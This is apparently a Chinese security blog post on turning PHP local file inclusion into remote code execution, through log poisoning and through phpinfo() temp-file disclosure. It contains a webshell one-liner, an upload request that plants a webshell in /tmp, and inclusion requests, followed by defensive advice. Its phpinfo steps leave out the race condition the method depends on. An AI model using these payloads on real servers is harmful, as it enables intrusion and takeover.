LFI to RCE:文件包含通过phpinfo()页面与日志文件实现远程代码执行

在PHP应用的某些漏洞场景中,攻击者不仅能通过包含日志文件来实现远程代码执行(RCE),还可以通过包含phpinfo()页面来进行RCE。这两种方式有着不同的利用原理和流程,但都能实现代码执行。今天,我们将深入探讨这两种攻击方式的原理与利用方法。

攻击原理概述

LFI(Local File Inclusion,本地文件包含)攻击允许攻击者通过输入文件路径来读取本地文件。在某些情况下,如果攻击者能够包含并执行特定的文件,就可以导致远程代码执行(RCE)。LFI攻击常见的利用方式包括:

  1. 通过日志文件包含恶意代码。
  2. 通过phpinfo()页面获取临时文件路径并执行恶意代码。

接下来,我们将详细介绍这两种利用方式。

1. 日志文件包含实现RCE

日志文件作为攻击载体
在某些系统中,日志文件可能记录了大量的请求信息,尤其是错误日志。这些日志文件中可能包含恶意输入,或者某些用户的错误行为(如文件包含漏洞的输入)。攻击者可以利用这些日志文件来执行任意PHP代码。

原理:

  1. 攻击者输入恶意数据
    在某些情况下,系统可能会将攻击者输入的数据记录到日志文件中。例如,攻击者可能在URL、UA或者cookie中构造恶意请求, 如果这个请求被记录在服务器的访问日志或错误日志中,攻击者就能通过文件包含漏洞来读取或执行日志文件中的内容。

  2. 包含恶意代码
    攻击者构造一个包含恶意PHP代码的日志内容,并通过LFI漏洞将其包含。恶意代码可能会执行类似如下的操作:

    <?php eval($_REQUEST['cmd']); ?>
    

    这段代码会通过 eval() 函数执行用户传递的命令,从而达到RCE的目的。

利用过程:

  1. 触发日志记录
    攻击者通过特定的输入(例如恶意的文件路径)触发服务器的访问/错误日志记录。日志内容可能包含恶意的PHP代码。

  2. 通过LFI包含日志文件
    利用LFI漏洞,攻击者可以将日志文件的路径传递给文件包含函数(如 include()require()),从而执行其中的恶意PHP代码。

例如:

GET /lfi.php?file=/var/log/apache2/error.log HTTP/1.1
Host: <target>

通过这种方式,攻击者可以利用日志文件中的恶意代码执行远程命令,获取系统Shell。

2. 通过phpinfo()页面实现RCE

除了日志文件外,phpinfo() 页面也是一个潜在的攻击点。通过phpinfo()页面,攻击者可以查看当前PHP环境的详细配置,并利用这些信息来执行恶意代码。

原理:

  1. 临时文件的利用
    当PHP配置启用了 file_uploads 功能时,PHP会自动处理文件上传请求,尽管没有专门的上传处理逻辑。上传的文件会临时存储在系统的临时目录(如 /tmp),并且文件名通常是随机生成的。临时文件名格式为 phpXXXXXX,例如:php3D9f1

  2. phpinfo()页面的作用
    phpinfo() 是一个PHP内置函数,通常用于显示PHP的配置信息。通过访问 phpinfo() 页面,攻击者可以查看包括 $_FILES 变量在内的所有全局变量。$_FILES 变量会包含上传文件的临时路径,从而为攻击者提供了临时文件的位置信息。

  3. 结合文件包含漏洞(LFI)
    如果目标系统存在文件包含漏洞(LFI),攻击者可以通过以下步骤利用 phpinfo() 页面获取临时文件路径并执行恶意代码:

    • phpinfo() 页面发送一个包含恶意PHP代码的文件上传请求。
    • 通过 phpinfo() 页面获取临时文件的路径。
    • 利用LFI漏洞,将临时文件路径作为参数传递给文件包含点,从而执行恶意代码。

利用过程:

  1. 构造恶意文件上传请求
    攻击者构造一个包含恶意PHP代码的文件上传请求,并将该请求发送至目标系统的 phpinfo() 页面。例如,攻击者可能上传一个包含恶意PHP代码的文本文件,如下所示:

    POST /phpinfo.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
    Content-Length: <length>
    Host: <target>
    
    -----------------------------7dbff1ded0714
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"
    Content-Type: text/plain
    
    <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?> 
    -----------------------------7dbff1ded0714--
    

    这段代码会在系统的临时目录 /tmp 中创建一个包含恶意PHP代码的文件。恶意代码会使得攻击者能够通过访问该文件并传递参数来执行任意PHP代码。

  2. 获取临时文件路径
    上传文件后,攻击者可以通过访问 phpinfo() 页面来查看当前的PHP配置信息,尤其是查看 $_FILES 变量。这将显示上传的临时文件路径。例如,攻击者可以在 phpinfo() 页面中看到类似如下的输出:

    $_FILES['dummyname'] => array (
        'name' => 'test.txt',
        'type' => 'text/plain',
        'tmp_name' => '/tmp/php3D9f1',
        'error' => 0,
        'size' => 123,
    )
    

    这里 tmp_name 提供了上传文件的临时路径 /tmp/php3D9f1

  3. 利用LFI漏洞执行代码
    一旦攻击者获得了临时文件的路径,接下来可以利用LFI漏洞将该路径作为参数传递给包含点(include)函数,从而执行恶意代码。例如,攻击者可能通过以下请求尝试加载并执行该文件:

    GET /lfi.php?file=/tmp/php3D9f1 HTTP/1.1
    Host: <target>
    

    如果服务器存在LFI漏洞,攻击者将能够包含 /tmp/php3D9f1 文件,并执行其中的恶意PHP代码,例如:eval($_REQUEST[1]),这允许攻击者远程执行任意PHP代码。

防御措施

为防止此类攻击,安全专家通常建议采取以下几项防御措施:

  1. 禁用不必要的 phpinfo() 页面
    phpinfo() 页面通常用于调试,攻击者可能利用它来获取系统详细信息。建议禁用生产环境中的 phpinfo() 页面,或者通过访问控制(如IP白名单)限制其访问。

  2. 禁用 file_uploads 功能
    如果不需要上传文件,应该禁用PHP中的 file_uploads 配置项。即便允许上传文件,也应严格限制文件上传路径,并确保上传的文件不包含恶意代码。

  3. 严格输入验证和过滤
    对所有文件包含点进行严格的输入验证,确保文件路径参数不能被恶意篡改。最好通过白名单来限制可包含的文件路径,避免用户通过LFI漏洞读取系统任意文件。

  4. 使用更安全的文件处理方式
    在处理文件上传时,确保上传的文件类型与内容相符,并使用文件扫描工具(如ClamAV)检查上传文件的恶意性。不要直接执行上传的文件内容。


总结

通过日志文件和 phpinfo() 页面,攻击者可以在某些PHP文件包含漏洞场景下实现远程代码执行(RCE)。这两种攻击方式的关键在于:

  1. 利用 phpinfo() 页面获取临时文件的路径。
  2. 通过文件包含漏洞(LFI)执行日志文件或临时文件中的恶意代码。

为了有效防御此类攻击,系统管理员应禁用不必要的 phpinfo() 页面,限制文件上传功能,并严格验证文件路径和上传内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值